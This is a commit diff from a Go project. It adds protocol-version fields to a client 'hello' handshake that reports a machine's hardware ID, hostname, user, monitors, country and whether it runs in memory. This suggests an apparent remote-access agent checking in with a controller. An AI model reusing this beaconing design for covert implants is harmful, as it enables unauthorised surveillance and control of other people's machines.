wire protocol is generated now instead of being hard coded with versioning for commands.

This commit is contained in:
KingKDot
2026-07-30 12:38:28 -05:00
parent 3f49eb07f7
commit 477b9a5353
27 changed files with 2628 additions and 204 deletions
+17 -15
View File
@@ -634,21 +634,23 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
}
hello := wire.Hello{
Type: "hello",
ID: cfg.ID,
HWID: cfg.HWID,
Host: rt.Hostname(),
OS: osVal,
Arch: archVal,
Version: cfg.Version,
User: rt.CurrentUser(),
Monitors: capture.MonitorCount(),
MonitorInfo: toWireMonitorInfo(capture.MonitorInfos()),
Country: cfg.Country,
BuildTag: cfg.BuildTag,
PublicKey: publicKeyB64,
Signature: signatureB64,
InMemory: isRunningInMemory(),
Type: "hello",
ID: cfg.ID,
HWID: cfg.HWID,
Host: rt.Hostname(),
OS: osVal,
Arch: archVal,
Version: cfg.Version,
User: rt.CurrentUser(),
Monitors: capture.MonitorCount(),
MonitorInfo: toWireMonitorInfo(capture.MonitorInfos()),
Country: cfg.Country,
BuildTag: cfg.BuildTag,
PublicKey: publicKeyB64,
Signature: signatureB64,
InMemory: isRunningInMemory(),
ProtocolVersion: wire.WireProtocolVersion,
CommandVersions: wire.SupportedCommandVersionRanges(),
}
hw := sysinfo.Collect()